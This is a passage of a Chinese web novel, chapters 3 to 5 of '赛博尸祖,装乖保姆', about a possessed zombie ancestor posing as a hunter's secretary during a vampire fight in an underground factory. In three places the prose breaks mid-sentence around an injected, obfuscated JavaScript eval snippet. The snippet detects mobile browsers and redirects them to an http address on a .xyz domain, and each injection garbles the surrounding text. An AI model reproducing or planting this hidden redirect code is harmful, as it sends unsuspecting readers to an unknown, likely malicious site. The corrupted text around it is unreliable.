《赛博尸祖,装乖保姆》
3. 计中计
献血大厅已然乱作一团,民众身后的软管纷纷脱落,在地板上蜿蜒出湿漉漉的血色暗痕,维持秩序的机械臂也全部瘫痪,发出垂死般的滋啦声。
短暂的死寂后,是压抑到极致的爆发。
“跑啊!”
不知是谁嘶喊了一声,如同投入滚油的水滴瞬间炸开了锅。
小童像只受惊的兔子,第一个挣脱了无形的束缚,头也不回地朝着敞开的大门狂奔而去,瘦小的身影一眨眼便消失在大厅门外。
两三个胆子稍大的,左右张望片刻,脸上交织着恐惧与侥幸,最终也咬咬牙,跌跌撞撞地跟了出去。
然而,绝大多数人依旧像被钉子钉在了原地,他们脸上写满了麻木和深入骨髓的恐惧,眼神空洞地扫视着周遭。
“没……没说让咱们走啊,要不咱再等等?”一个中年男人声音发颤,打破了沉默。
“对啊,再等等吧。”旁边一个妇人立即附和,“公家执行任务,报废了几台机器而已,待会儿肯定还有备用的抽血设施。”
“嗯嗯。”此时已经有不少人点头,剩下犹豫不决的人站也不是坐也不是。
直到年轻“老头”发话:“嘿!居然还有人敢走,你们不会不知道吧?每个人献了多少血,联邦可都是有系统记录的,想偷偷赖掉这个月的献额,你们怕不是都把公家当傻子了!”
说完他瞅了眼舒厌,见舒厌把他当空气,努努嘴又道:“再说了,只有献血达标才能领到血晶,有了血晶买点吃的喝的补一补,多出来的还能找个仿生人消遣消遣,日子不也过得挺好的么。又不是每个人都能在联邦做大贡献,咱小老百姓,尽点绵薄之力,献个血而已,别为难长官们了。”
这些话如同一管强心剂,在场的人几乎全都坐回了等候席。
原先那几个抬脚想走的,此时都觉得有些尴尬,找补道:“诶,我们刚才只是想把小童他们找回来……要不咱还是别乱跑了,万一被当成拒献者抓起来那可就冤枉了……”
大厅一时间安静下来,角落里一个黑金描边制服的女人百无聊赖,蚩蓠注意她很久了,本以为她是献血大厅的管理员,可小童拒献时她一声不吭,青魇被杀她也没什么反应,女人只是不停地往舒厌这边张望,似乎在等待机会过来搭话。
蚩蓠也在等待着她。
可不等女人有所行动,一阵整齐划一的脚步声由远及近,十几个身着同样黑金制服的外勤人员,迅速而有序地涌入了献血大厅。
他们装备精良,防毒面具遮住了大半张脸,只露出锐利的眼睛,动作训练有素,很快便接管了这片混乱的现场。
领头的小队长扫视全场,蜻蜓点水般朝舒厌点头,声音透过面罩的扩音器传出,带着不容置疑的权威:“目标青魇已被猎尸队舒厌击毙。A组,封锁现场,清理残骸!B组,检查设备损坏情况,回收关键数据!C组,带滞留民众去做详细笔录,一个不漏!动作快!”
命令下达完毕,外勤人员迅速执行起来。
两个外勤走向等候席,声音平板无波:“跟我们走。”
民众们瞬间全体起立,仿佛慢了一拍就会被当成拒献者似的,提线木偶般跟着外勤离开了。
其余人员则按照分工,有人小心翼翼地用特制的密封容器和工具,清理青魇的残骸,有人检查着瘫痪的抽血装置,顺便不满地瞅了眼大厅中央的始作俑者舒厌。
“舒队长,青魇已经死了,剩下的事交给我们外勤部处理就好,您在这里还有其他什么事吗?”领头的负责人不太客气。
“再等会。”舒厌漫不经心地回答。
他将帽兜后拉,摘下防毒面具,动作随意却带着一种古典的优雅,跟外勤部大多数人冷硬的机械感格格不入。
面具下露出的,是一张过分年轻也过分英挺的面孔,鼻梁高挺,下颌线条利落如刀削斧凿,最令人心跳加速的是那双眼睛,深极黑极,邃如寒潭。
他修长的手指在耳骨上轻轻一触,一道微光闪过,战术目镜无中生有地出现在他的鼻梁上,镜片上浮现出幽蓝的动态数据流,瀑布般流淌着。
蚩蓠虚弱的意识体艰难地飘荡,她极力收缩着自己的存在感,然而,就在舒厌摘下防毒面具的瞬间,蚩蓠猛地一滞。
千年时光,足以让沧海化作桑田,让王朝灰飞烟灭。可眼前这张脸,竟与封印她时一模一样,岁月仿佛在他身上凝固了,连一丝细微的皱纹都未曾增添。
一股寒意攫住了蚩蓠。
他到底是什么东西?他真的是当年封印她的那个人吗?
舒厌战术目镜边缘,一点微弱的红光急促闪烁,几乎是同时,他那毫无波澜的声音响起,带着一丝玩味的探究:“‘检测到异常能量波动’啊,有趣……”
他的眉宇闪过一丝不易察觉的狡黠,开始循着智脑的提醒,在大厅中细细搜索起来,那神态就像一个百无聊赖的小孩,在通关了枯燥的游戏后,突然发现了一个隐藏彩蛋。
“长~官~”,一个娇嗲得近乎扭曲,与现场肃杀氛围格格不入的声音,突兀地打断了舒厌的探寻。
角落里的制服女人扭着腰肢走来,在一群统一着装的工作人员里,她的衣服明显经过改装,贴身得多,妆容简直武装到了头发丝,极致美艳,眉眼间带着一股刻意营造的媚态。
她跳过想要与她搭讪的外勤负责人,凑到舒厌近前,拉长的尾音带着钩子:“我跟巡逻队打了声招呼,那个叫小童的丫头,已经被他们请去喝茶啦~”
舒厌的眉头几不可察地蹙了一下,眼中掠过一丝被打扰的不耐,他目光甚至没有从智脑提示的方向移开,只是用眼角的余光冷淡地扫了她一眼:“知道了。让开。”
女人非但没有让开,反而又朝前逼近了小半步,几乎要贴到舒厌身上,她故意用鞋尖碾了碾光滑的地面,娇声道:“哎呀,长官~我脚下……是不是踩着什么东西了?怎么感觉有点硌得慌呢?”
蚩蓠无语,她的计划可全靠这个女人了,别跟舒厌走那么近行不?
说话间,女人微微仰起脖颈,这个动作让她颈侧那片异样的青紫血管更加清晰地暴露在空气中。
那血管突突跳动着,颜色深得不正常,如同皮下埋藏着蠕动的毒虫,散发出独特而熟悉的不详气息,蚩蓠能感受到,那是长期接触她尸毒形成的痕迹。
不仅如此,女人血管有两个小小如孔洞的齿痕,还未完全愈合,细细的血腥气在向蚩蓠招手。
她在原地轻盈地转了个圈。
就是现在!
蚩蓠残存的意识顺着微不可查的伤口攀附而上,女人的脸恰好背对着众人,脸上甜腻的笑容瞬间凝固,瞳孔剧烈收缩,眼白被翻涌的黑雾占据。
夺舍在转身那一瞬完成。
这具身体意外地合拍,那些渗入女人肌肤的尸毒,早在日积月累中将她改造成活尸容器,且是蚩蓠再合适不过的容器。
如果不是这个“活尸容器”的出现,蚩蓠根本不会采用如此大胆的计划,更别提抛弃青魇的残躯,让自己的意识体暴露。
没错,杀死青魇,夺舍女人,这一切都是蚩蓠的险之又险的计划,幸好,暂时算是成功了。
占据新躯壳的蚩蓠,喉咙里发出一声似是叹息又似满足的吸气声,她迅速压下身体本能的排斥反应,强行控制住肌肉的痉挛,脸上扭曲的表情变脸般迅速敛去,重新挂上那副甜腻得令人不适的笑容。
转身完毕,蚩蓠用女人的身体重新在舒厌面前站定,她甚至朝舒厌敬了一个标准又带着点浮夸的礼,声音恢复了之前的娇嗲:“哎呀,原来是鞋子太紧了呢。长官~我这就滚。”说罢就要走。
“等等。”舒厌的声音不高,却像冰冷的锁链,缠住了她的脚步。
一只戴着黑色战术手套的手,极其自然地搭在了她的肩膀上,那看似随意的触碰,却带着千钧重压,让蚩蓠的肌肉瞬间绷紧。
“新来的?”
蚩蓠鸡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193079|181112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皮疙瘩爬满了后脖颈,这具身体原主的意识已经被她彻底吞噬,但残留的记忆碎片却不知为何混乱不堪,根本无法读取,身份信息居然一片空白。
电光石火间,蚩蓠脸上却绽开一个更加灿烂,甚至带着点傻气的笑容,仿佛被长官搭话受宠若惊。
她灵机一动,将胸前制服上的工牌猛地一拍,声音拔高,带着点邀功般的急切,努力模仿着记忆中低级下属那种谄媚又急于表现的神态。
“报告长官,献血大厅出现暴乱,我是来支援的,现场已经得到控制,您还有什么指示吗?随时吩咐我,保证完成任务!”
“哦?”舒厌扫过她的工牌,突然俯身逼近,那张英俊却捉摸不透的脸瞬间在蚩蓠眼前放大,鼻尖几乎要碰到她的额头。
一股木质茶香混合着烈焰,仿佛在森林中蒸煮清茶的独特气息扑面而来,其中更夹杂着蚩蓠无比熟悉,源自他血脉深处令她尖牙发痒的诱惑血气。
舒厌的鼻翼几不可察地翕动了一下,战术目镜后的眼睛微微眯起,薄唇勾起一个近乎刻薄的弧度,声音压得极低,带着毫不掩饰的嘲弄:
“外勤寒黎,你的香水是殡仪馆生产的吗?跟千年吸血僵尸的体味不相上下。”
蚩蓠指尖猛地一抽,一股被冒犯的狠厉杀意差点冲垮伪装,她强行压下翻涌的尸毒,脸上那甜腻的笑容却纹丝不动,甚至更盛几分,眼波流转间抛出一个媚眼,拖着令人起鸡皮疙瘩的长长尾音。
“唉哟~您可真会开玩笑,这是最新款斩男香啦~您不喜欢吗?长~~官~~”
舒厌直起身,脸上那点嘲弄的弧度也消失了,恢复了公事公办的冷淡,他仿佛没听见蚩蓠那番做作的辩解,直接下达命令:“正好,血晶地下工厂的烂摊子需要人手帮忙。你,跟我下去。”
“嗯……好,好吧。”
蚩蓠故作迟疑地应了一声,心底却转过了无数念头,她本能的第一个反应是立刻远离这个极度危险的敌人。
然而,目光扫过大厅角落里的吸血装置,扫过被外勤像赶牲口一样带去做笔录的民众,一股怒意混杂着奇异的责任感涌了上来。
封印千年,她手上沾染的鲜血不少,但从未主动吸食过新鲜的人类血液,更不屑于虐杀无辜。
可这个所谓的联邦,竟敢将她当作能源炉,更用如此残酷虚伪的手段压榨民众献血,强行填鸭给她。
从青魇破碎的记忆中她也知道,昔日高傲的猎人氏族,如今美其名曰“猎尸队”,也沦为了联邦豢养的爪牙。
血晶工厂是舒厌负责的地盘,说不定正是他想出的恶毒招数,将蚩蓠的本体囚禁至此。即使不是他的主意,至少也是他将本体交给联邦的,更别提他就是那个确保蚩蓠的本体日夜不息产尸毒的监察者。
与其坐以待毙,不如主动出击,深入虎穴!
舒厌或许掌握着解除封印的关键信息,接近他虽然与走钢丝无异,风险巨大,但收益同样惊人,这或许是她最快找到解除本体封印的途径。
蚩蓠瞬间做出决断,脸上也适时地露出一副“能为长官效劳是我的荣幸”的殷勤表情。
她调整了一下站姿,正准备迈步跟上舒厌。
突然,已经转身走出几步的舒厌,毫无征兆地停了下来,他微微侧过脸,并未完全回头,只是用一种带着恶劣趣味的低沉嗓音,凑近她耳边说:“对了,寒黎,你担任我的生活秘书,处理我的私人日程,整理我的衣橱,甚至帮我挑选……嗯,合适的香水,已经整整两年了,你的工牌上有写。”
蚩蓠脸上的笑容瞬间僵死,下意识就想抽出胸前的工牌。
舒厌似乎轻笑了一声,那笑声极低,却像针刺扎进蚩蓠的耳膜。他不再停留,迈着轻快的步伐,径直朝通往地下工厂的入口走去。
蚩蓠彻底僵硬地站在原地,顶着那张精心描画,此刻却显得无比滑稽的脸,感觉一股寒意从脚底板直冲天灵盖。
……现在逃还来得及吗?!
4. 小牺牲
蚩蓠几乎是粗暴地扯下了工作牌,牌面上印刷着【能源控制署-外勤部后勤队助理-寒黎】的字样,并没有写生活秘书,更别提还干了两年这样的细节。
就在她盯着那行字,心头疑云密布时,仿佛有一道无形的开关在她脑域深处按下,垂死的神经元重新连接,不属于她的记忆碎片,蛮横地冲破了意识的壁垒。
属于寒黎的记忆不断回闪。
原来舒厌所在的猎尸队名义上隶属外勤部统管,实际却向联邦能源控制署署长直线汇报,地位不一般。而献血大厅里处理后续工作的,是外勤部下属的后勤队,寒黎虽然挂职后勤队,本职工作却是舒厌的专属生活秘书。
什么乱七八糟。
难怪后勤队队长看不惯舒厌,寒黎占了后勤队编制,干的却是猎尸队的活,这也就算了,主要寒黎这种浓颜系大美女,哪个颜控不喜欢,可她偏偏只在舒厌面前“做低伏小”,看不上其他人。
不知道从什么时候起,外勤部人人都在传舒厌有怪癖,喜欢僵尸的体味。
寒黎一听,以她对舒厌粗浅的了解,也不是没这可能,干脆豁出去了,不惜在黑市搞到蚩蓠的尸毒,花大价钱做了净化,萃取后外敷内服。
有天她甚至泡了个尸毒味的澡,从里到外腌入味后,忐忑地靠近正在调试武器的舒厌,对方眉头都没皱,寒黎本以为这回定能成功,结果舒厌还是那两个字:“出去……”
呃……这什么奇葩??
蚩蓠怎么就夺舍了这么个没脑子的家伙,而且偏偏在最需要的时候掉链子失忆,不是存心弄死她嘛。
蚩蓠深吸一口气,三步并作两步追上舒厌,尽可能模仿着寒黎的神态,脸上堆起委屈和怪嗔说:
“长~官~我跟您开玩笑呢!谁叫您平日里啊,连个正眼都不舍得给我,空气在您眼中都比我有意思一万倍,我寻思,您怕不是真的把我这秘书长什么样都给忘到九霄云外去了?刚才您还问我‘新来的’,我心里啊……简直凉透了,我那个气呀,干脆顺着您的意思演下去了嘛。嗯……您大人有大量,不会真的生我的气吧?”
舒厌的脚步没有丝毫停顿,甚至连头都懒得回,他重新戴上防毒面具,不轻不重地回:“没有。”
见对方浑不在意,也不知道有没有听进去,蚩蓠简直比吃了蛆虫还难受,千年前谁敢这么捉弄她,早就灰飞烟灭了。
她强行压下翻腾的杀意,意识到一个更严重的问题。
不知道是不是没了强大的肉身加持,还有连续夺舍和意识体的损伤,似乎严重影响了她的判断力和控制力,在对寒黎身份认知不全时贸然接话,结果一头栽进了舒厌精心布置的语言陷阱。
可是,舒厌既然已经怀疑蚩蓠不是真正的寒黎,他为什么没有马上控制自己?反而像遛狗一样带着她深入这本是绝密地点的地下工厂。
玩的什么把戏?
是了,他一直都喜欢戏弄她,以前就是。猫捉老鼠,从来都不是一击致命,玩到对方精疲力尽,最后再折磨致死,才是舒厌的拿手好戏。
不过,蚩蓠暂时也没有更好的对策,本来目的就是接近舒厌寻找解封方法,乐观点想,计划已经实现一半了。
其他的,兵来将挡,水来土掩吧。
千年风浪都过来了,还怕他一个杀不死自己最后只能封印的猎人?哼,走着瞧!
血晶地下工厂沉重的防爆门在液压装置的嘶鸣中缓缓开启。
舒厌戴上防毒面具,一言不发地走下去,在接近最深的负十五楼,也就是蚩蓠本体的尸身所在时,他突然停下脚步,回头朝蚩蓠比了个噤声的手势。
一股远比献血大厅浓郁百倍,裹挟着浓烈的焦糊味和金属熔毁的刺鼻气息扑面而来,在经过防毒面具过滤之后,蚩蓠的尸毒才缓缓暴露到两人鼻腔。
那是一种令她的灵魂都感到刺痛和愤怒的恶臭,虽然源自她本体,却是被强行抽离转化后异变的,就连高性能防毒面具也无法过滤。
蚩蓠面具上的智能镜片感应到环境变化,切换为热成像模式,她的视线变成一片由深浅不一的橙红色与冰冷蓝黑构成的诡异世界。
眼前的景象触目惊心,将近十余米高的穹顶下,那些原本如同巨兽心脏般规律脉动的金属舱,此刻像被粗暴地开膛破肚,里面用于转换她尸毒的精密结构弯曲变形,断裂的管线如垂死的触手耷拉着。
金属舱周围残留着灭火泡沫,莹蓝色的冷却液从破口处缓缓流出,冷却液勉强降低了爆.炸产生的高温,却对空气中弥漫的尸毒束手无策。
最让人心悸的事那些散落在各处的人影,穿着防护服的工作人员姿态扭曲地倒伏在控制台和管道旁,有些甚至浸泡在冷却液里。
他们橙红色的生命热源正在以肉眼可见的速度黯淡,边缘泛起象征体温流失的深蓝,几个离爆.炸中心或尸毒泄漏点近的人,热源轮廓已经变得模糊不清。
这些人不仅仅是中毒,他们的肉.体正在被高浓度尸毒急速腐蚀分解,如果得不到及时的净化救治,很快,他们就会化为一滩滩与青魇残骸无异的腐臭烂泥。
真是奇怪……
蚩蓠的心沉了下去。
她清楚地记得,舒厌为了追捕夺舍青魇的自己,只是用箭矢射穿了几根导管,仅仅引发了小规模泄露而已。
怎么才十几分钟的功夫,整个地下核心工厂就变成了这副炼狱景象?
巨大而混乱的空间里,唯一完好无损的,只有静静安详在正中心的血棺。
它像风暴中的孤岛,在热成像视野中呈现出一种非生命体的恒定暗红色轮廓,沉默而孤远,仿佛在冷眼周遭的毁灭与她何干。
时间一分一秒走过,每一秒都伴随着生命热源的消逝。蚩蓠并非悲天悯人,但眼前的情景让她本能地感到不安,混乱的源头不明,舒厌的沉默更显诡异。
她摸索着寒黎记忆里关于智脑的操作方式,尝试着在内部通讯线上发出了一条加密信息。
「长官,我们不过去看看吗?」
「不用。」
「……好像有不少同事受伤很重,生命体征微弱,真的不用管他们?」
「寒黎,你什么时候对同事这么上心了?」
「什么啊,我一直对同事都很上心,尤其是您!长官!您的事就是我的头等大事!(星星眼)」
「哦?很好。那你一定非常愿意为我做出一点小小牺牲吧?」
「别说小牺牲,再大也的牺牲我也——」
“唔!”
蚩蓠“也”还没有打完,只觉右腿膝盖窝遭到一记猛踢,她整个人瞬间失去平衡,人已经飞在空中了。
十几米高的穹顶在眼前急速远离,失重感攫住了她,蚩蓠觉得自己可能马上又要换一具肉身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193080|181112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。
这疯子!
他所谓的“小小牺牲”就是把她当人肉沙包扔出去?
蚩蓠虽然不太喜欢寒黎这个女人,可毕竟夺了人家的舍,总得好好爱惜身体,再加上寒黎身材也相当不错,腰细腿长,腹肌紧实,小臂肌肉更是美得像雕刻出来的,这回可惜了,还没捂热就要摔成一摊肉泥了。
就在她以为自己即将以最狼狈的方式结束短暂新生的刹那,一个毫无情感的电子合成音突兀地在耳内响起,清晰得如同直接在脑内广播:“生活秘书寒黎,您的‘无影III代’战术外骨骼装甲控制权限已被上级舒厌接管,正在执行预设动作,将按照指定路线着地。”
蚩蓠来不及想自己的战术装备怎么能被舒厌控制,战术皮靴已然化身小型火箭,强大的冲击力精准抵消了下坠的重力,她像一片被无形之手托住的羽毛,在距离地面不足半米的高度,稳稳悬停。
可刚放下的心才缓了不到0.0001秒又吊了起来。
蚩蓠的皮靴连同战术外骨骼装甲零帧起手,这股蛮横的力量狠狠将她拽离原地,蚩蓠顿时眼前发黑,五脏六腑仿佛都移了位,她直直朝侧上方一根粗大的通风管道奔去。
麻了,彻底麻了。
真是谢谢你!舒!厌!
她忍着翻江倒海的冲动,眼看就要冲进旋转的通风扇刃,却“砰”地撞在一道黑影上。
预想中脊椎断裂的剧痛并未传来,战术服内置的柔性缓冲层吸收了大部分冲击,但震动依然让蚩蓠眼冒金星。
紧接着,“呼!刺啦——”
伴随着压抑的痛呼和金属刮擦的刺耳噪音,一道原本如巨大蝙蝠般倒挂在通风管道内侧阴影中的黑影,被这突如其来的人肉炮.弹结结实实撞了个满怀。
两人失去平衡,从数米高的管道上翻滚而落,最后狼狈地砸在布满碎金属的地面。
在地面纠缠几圈后,翻滚终于停止,蚩蓠被摔得七晕八素,躺在地上,一时动弹不得。
对方似乎也懵了,发出一声非人的嘶哑低吼。
“呵……”
一声轻笑,带着毫不掩饰的愉悦和戏谑,在不远处响起,那声音平稳得仿佛刚才发生的一切混乱都与他无关。
蚩蓠艰难地转动脖颈,透过沾满污渍,布满蛛网裂痕的防毒面具镜片,看到了那个笑声的来源。
舒厌好整以暇地站在几米外,战术服纤尘不染,他甚至悠闲地掸了掸并不存在的灰尘。
“等你很久了,看你在通风管道里上吊辛苦,我瞧着都累,所以……还是决定帮你一把。青魇。”
什么?!
蚩蓠的大脑仿佛被惊雷劈中,瞬间一片空白。
青魇!!!
这个名字像淬了毒的利刃,一刀捅进蚩蓠的心腔。
不可能!绝对不可能!
她故意将青魇的躯体暴露在舒厌的眼皮下,她亲眼看着对方在献血大厅崩解成泥,还有青魇的意识,在她尸祖之血逆灌时就已经湮灭了!
极度的震惊让蚩蓠暂时忘却了身体的疼痛和眩晕,她用尽力气,几乎是粗暴地擦拭着布满裂痕的镜片。
在有限而扭曲的视野里,她死死圈定了那个正从她身边踉跄爬起的身影。
轮廓,身高,起身时刻入骨髓的优雅姿态……最后,那张俊秀净白的脸。
真的是青魇。
5.他跑了
青魇起身的同时,原本一人高的巨大蝠翼随着他摆臂的动作收拢折叠,最终完美隐入那件看似普通的黑色西装外套之下,化作线条利落的长袖,一丝褶皱也无。
“真没想到,尊贵无比的尸祖大人,竟被你们塞在这种低贱的流水线工厂里。”
青魇声音低沉沙哑,愤怒且克制,他的视线扫过周围狼藉的金属残骸和凝固的冷却液,眉头皱得更紧了。
舒厌闻言,轻轻鼓了鼓掌,语气带着几分虚假的赞叹:“你这个分.身战斗力虽然不怎么样,却可以在血晶工厂潜伏整整十年不露马脚,耐心和伪装技巧倒是令人刮目相看。”
他话锋一转,遗憾地摇头,“可惜了,真是可惜了。”
“最后不是照样被您一枪崩了嘛。”青魇冷笑,毫不客气地反唇相讥,“舒长官,何必在这里假惺惺的,呵,您该不会是在给自己管理疏忽找借口开脱吧?”
两人看似闲聊,眼中杀意与试探却已交锋无数次。
蚩蓠干脆把脸上那顶摔得稀碎的防毒面具扔开,青魇挺拔而阴郁的身形在她的视野中愈发清晰。
原来如此,蚩蓠心下恍然,之前在献血大厅化为蝙蝠枯骨的,仅仅只是青魇的一个分.身。
仔细想来,如果青魇当真孱弱至此,又怎么可能在猎人氏族千年的残酷追捕下存活下来?
那些关于过往的翻涌心绪,仿佛浓烈的情感颜料一下子被水冲淡了,滴水恩也好,滔天恨也罢,都在眼前这个青魇出现后,变得不真实起来。
可蚩蓠才不是被情绪左右的存在,不管有几个青魇,于她而言,标准只有一个:有利则用,有害则除!
她的丛林法则向来如此简单直接。
眼见两人杀气愈盛,蚩蓠毫不犹豫蹲下.身,动作迅捷地从旁边一具早已死透的工作人员脸上扒下尚算干净的防毒面具,迅速戴好,急急退到角落。
面对青魇尖锐的讽刺,舒厌不见半分怒气,反而慢条斯理地抬起一只手,一根一根竖起手指,如同清点货物般悠然。
“让我想想,操作室的刘杰,控制台的王一川,三号门的安保李民……嗯,就连我们后勤队那个总抱怨伙食的张帆,还有刚才在献血大厅带头起哄的年轻老头……都是你的分.身,没错吧?”
舒厌每报出一个名字,青魇的脸色就阴沉一分,到最后,他本就青白的脸已是难看至极,声音因压抑的怒火微微震颤:“废话少说,把尸祖大人还来!”
“别急嘛,”舒厌的笑容愈发狡黠,“被我亲手处决的那个分.身,好像……背叛了你。他明明知道尸祖的藏身地,却没有把情报提供给你,反而选择独自偷偷潜入这地下核心工厂,甚至——”他刻意拖长了语调,欣赏着青魇倏然变化的脸色,“还亵渎了你最敬爱的尸祖大人。”
“你说什么?!”青魇周身气息变得狂暴不安,那些刻意压抑的怒气已然窜体而出。
“真可怜,你居然被自己的分.身蒙在鼓里?”舒厌故作惊讶,随即用最平淡的语气抛出让青魇最无法接受的事实,“那我告诉你好了,他喝了尸祖的血,只是他无福消受,中了剧毒,就算我不出手,他也活不了多久了,我不过让他死得稍微痛快一点而已。”
青魇沉默下来,眉头紧锁,眼神晦暗不明,似乎在急速消化这惊人的信息。
舒厌才不等青魇思考,他步步紧逼:“让我猜猜,现在站在我面前的这个,是又一个分.身呢,还是你这尊本体终于舍得亲自下场了?”
青魇脸色巨变,似乎刚刚才意识到舒厌先前话术中的陷阱:“你……”
舒厌看似闲聊的慵懒姿态转瞬消失,他左手快如闪电,这回他并没有使用惯用右手握住的电弧等离子枪,相反,他用的是一把制作精良却造型古朴的木质手.枪。
“砰!砰!砰!”
木质子弹的射速并不快,甚至能看清飞行的轨迹,然而青魇的身体却像是形成了某种战斗记忆,下意识朝舒厌身体右侧的方向进行闪避,不料舒厌此次用的却是左手.枪,攻击完全来自相反的方向。
就是这瞬息间的误判,青魇闪避的动作慢了半拍,一颗刻满密宗真言的桃木子弹,狠狠贯穿了他的肩胛骨。
“呃——”青魇发出痛苦的嘶吼,巨大的冲击力将他整个人带得向后飞起,重重撞在冰冷的血棺棺壁上。
那子弹一侵入体内,迅即爆裂开来,化作无数枚更细小的木钉,木钉在他的骨肉经络间持续游走,仿佛骇人的活物,甚至发生了二次爆裂,每一次爆裂都炸出好几个血肉模糊的窟窿,窟窿不断自我扩大,啪啪的爆破声听得人头皮发麻。
舒厌一步踏前,战术皮靴踩住青魇喉头,将他死死钉在棺壁上,居高临下地俯视他:“想要夺走尸祖?可以。但要看你有没有这个本事了。”
他的声音依旧平静,却带着绝对的压迫感,“你的分.身或许能侥幸找到这里,但离真正从我手中夺走尸祖,你还差很远。”
就在这时,舒厌身后一缕极其微弱的黑色尸毒,正从蚩蓠指尖悄然渗出,无声无息地向他后颈逼近。
意识脱离本体后,蚩蓠的能力虽然被大大削弱,但调用自己在工厂随处可见的尸毒,乃至操控继承了一切尸祖之力的东西,都还是轻而易举的。
就在黑雾即将触碰到舒厌皮肤的刹那,他毫无征兆地转过头,目光精准地落在蚩蓠脸上,语气自然得像是在吩咐一件日常琐事。
“寒黎,这双靴子沾上脏东西了,回头找后勤部给我领双新的。”
蚩蓠心中巨震,几乎以为被发现了,但她反应极快,瞬间收敛所有尸毒,脸上堆起属于寒黎的谄媚表情:“……知道了,好!”
尸毒虽然没有碰到舒厌,但经蚩蓠操纵,散逸出微弱的力量,已足够在不知不觉间麻痹舒厌的感知神经。
蚩蓠很清楚自己在做什么,既然青魇本体并未背叛她,甚至执着于找回她的躯体,那他就还有拯救的价值。
在这个陌生的时代,多一个强大且忠诚的盟友,远胜于多一个可怕的敌人。
青魇仰躺在血棺棺壁上,剧痛让他冷汗直冒,额角青筋暴起,身体控制不住微微痉挛,可他并不在意。
他的头艰难地偏过一侧,目光穿透污浊的空气,贪婪而专注地凝视着血棺,他溃烂、不断吐着黑血的嘴唇剧烈颤抖着,发出一些破碎不堪的音节。
也许在旁人听来只是无意义的呻.吟,但蚩蓠听懂了,那是冷血生物用来交流的语言,他在用尽最后的气力诉说:“尸祖大人……末将……失职……末将来接您……回家……”
蚩蓠指甲掐进掌心。
舒厌举起那把制作古朴的桃木枪,比冷血生物更冷的枪口再次对准了青魇的额头,他仍是慢悠悠的语调,却带着致命威胁:“青魇,都到这一步了,你还要负隅顽抗,耍这些无聊的花样么?”
青魇的躯体已接近四分五裂,再拖下去,恐怕这具本体要彻底报废在此!
就在舒厌即将扣下扳机的千钧一发之际,蚩蓠突然惊声尖叫,声音充满了恰到好处的慌乱,手指颤抖地指向被封印的尸祖:“长官!血棺里面!有异常能量反应!”
即便是舒厌,听到尸祖异变的可能,注意力也不由自主地被分散,目光下意识就朝蚩蓠所指的方向瞥去。
正是这瞬息的机会!
“吼!!!”
原本奄奄一息的青魇爆发出最后的疯狂力量,他腐化的胸腔猛地裂开一个巨大的豁口,涌出无数裹挟着浓稠尸毒的红眼黑蝙蝠,汹涌澎湃地扑向舒厌。
舒厌旋身开枪,左手木枪,右手电弧等离子枪,枪声与电弧的爆鸣声交织,扑在最前面的蝙蝠群被清空一片,化作焦黑的残骸雨点般落下。
然而,蝙蝠的数量实在太多太密,根本阻挡不及。
与此同时,周围那些原本俯卧在地的外勤,此刻竟有十余人猛地从地上一跃而起,刚才还在装体温流失苟延残喘,现在却动作灵敏得像群豹,纷纷架起不知何时握在手中的便携式能量火炮,对准空中密集的蝙蝠群猛烈开火。
“护住血棺!别让流弹损伤馆体!”舒厌在蝙蝠的围攻中吼道,顺带丢给蚩蓠一把轻型□□。
他自己则背靠血棺,用等离子能量枪疯狂射击,无数蝙蝠扑簌簌落下,在地上溅起腥红焦臭的黑墨。
“遵命!长官!”蚩蓠响亮地应声,一把接住
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201466|181112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
□□,显得手忙脚乱却又异常努力。
她笨拙地摁下开关,一道三米长的蓝紫色火焰激射而出,她一顿操作猛如虎,两只蝙蝠被烧得翅膀冒了烟,拍拍火星子,又扑腾扑腾飞走了。
锐利的目光杀过蚩蓠,舒厌毫不留情地将桃木枪再次对准青魇,然而,就在这毫秒之内,青魇的躯体彻底溃烂,最终只在血棺棺壁上,徒留一件空空荡荡的西装外套。
“天网收缩!封锁所有通风管道!蝙蝠一个不留!”舒厌对着智脑发出指令。
天花板上传来机械运转的轰鸣,一张闪烁着高压电弧的巨型金属织网顷刻落下,铺天盖地,几乎将整个地下核心工厂笼罩在内,那些正想从通风管道逃窜的蝙蝠被拦截禁锢,牢牢锁在电网之中。
周围的外勤刚松一口气,以为成功抓捕目标。
就在此时,蚩蓠隐藏在防毒面具下的嘴角勾起一抹无人察觉的弧度,她在一片混乱喧嚣中悄无声息地打了个响指。
仿佛触动了某个诡异的机关,那些原本手掌大小的蝙蝠,身体开始剧烈地颤抖,抽搐,继而一分为二,二分为四,四分为八……越变越多,越变越小,直到变成比天网密织的空隙还小的大小。
